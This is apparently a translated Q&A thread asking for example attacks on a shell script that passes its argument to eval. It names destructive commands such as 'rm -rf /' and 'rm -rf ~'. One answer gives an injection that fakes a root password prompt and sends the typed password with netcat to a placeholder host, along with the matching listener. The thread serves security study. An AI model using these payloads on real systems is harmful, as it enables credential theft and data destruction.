Vulnerabilità creative nel comando unix eval [chiuso]

0

Sto leggendo gli esami passati per un tema di sicurezza delle informazioni e mi sono imbattuto in questo.

#!/bin/sh
#applications launcher
X=$1
eval "$X"

"Pensi che il programma sia vulnerabile agli attacchi? Spiega il motivo della tua risposta con un esempio."

Programma semplice, ovvia vulnerabilità.

L'unico esempio a cui potrei rispondere con (unix programming skill = 0) è che l'input dell'utente può contenere comandi unix per causare danni al sistema, qualcosa come rm -rf /

Mi piacerebbe paragonarlo a una domanda su SQL injection e usando un esempio che dice DROP TABLE * . È un esempio legittimo della vulnerabilità ma è un esempio noioso.

Programmatori Unix / esperti di sicurezza. Quali sono alcuni esempi più divertenti / creativi per rispondere a questa domanda?

    
posta pjmil 12.06.2014 - 14:59
fonte

2 risposte

6

Penso che tu abbia perso il punto di questa domanda. Data la formulazione della domanda, la persona che ha impostato l'esame potrebbe non essere stata molto chiara sul modello di minaccia, a meno che non ci sia un ulteriore materiale introduttivo per questa domanda che non hai citato e che fornisca più contesto.

Ciò che hai postato è un programma che accetta un argomento, una stringa ed esegue questa stringa come programma di shell ( /bin/sh ).

Il punto chiave è nel contesto in cui viene chiamato questo programma. Esistono molti programmi che eseguono il loro argomento come un programma di shell o come un comando esterno, iniziando con sh stesso.

Se il programma viene chiamato nello stesso limite di sicurezza dell'entità che decide l'argomento, non vi sono implicazioni di sicurezza poiché non viene attraversata alcuna barriera di sicurezza.

Se l'argomento viene scelto da un'entità esterna al limite di sicurezza che esegue il programma (ad esempio, se il programma viene eseguito con privilegi aggiuntivi tramite sudo , o se l'argomento viene letto da un utente esterno sulla rete) , quindi questa è un'iniezione banale. Non c'è bisogno di essere creativi: puoi inserire assolutamente qualsiasi codice che ti piace (devi solo esprimerlo nella sintassi della shell). Puoi accedere a tutti i file dell'utente che sta eseguendo il programma, modificarli e aggiungerne di nuovi, eseguire i programmi desiderati, utilizzare qualsiasi connessione di rete disponibile, ecc.

Ogni volta che puoi eseguire codice arbitrario in un contesto privilegiato, hai vinto. rm -rf / non funzionerà, a meno che il programma non sia in esecuzione come root su un sistema che non ha una prevenzione ad hoc rm -rf / . Qualcosa come rm -rf ~ (rimuovi tutti i file nella casa dell'utente) sarebbe più utile se vuoi causare danni. Ma di solito gli aggressori cercano cose più produttive, come leggere i file archiviati su questo account oi database a cui ha accesso, piantare una backdoor per poter recuperare l'accesso in seguito, inviare spam o generare bitcoin e così via.

    
risposta data 12.06.2014 - 17:53
fonte
3
"stty -echo ; echo 'This program requires root privileges.' ; read -p 'Please enter password: ' password ; echo \$password | netcat myhost.foo 1337 ; stty echo"

Devi ascoltare sulla porta 1337 sulla tua macchina:

netcat -l 1337

e verrà inviata la password di root della macchina vittima (se l'utente è abbastanza stupido ...).

    
risposta data 12.06.2014 - 15:33
fonte

Leggi altre domande sui tag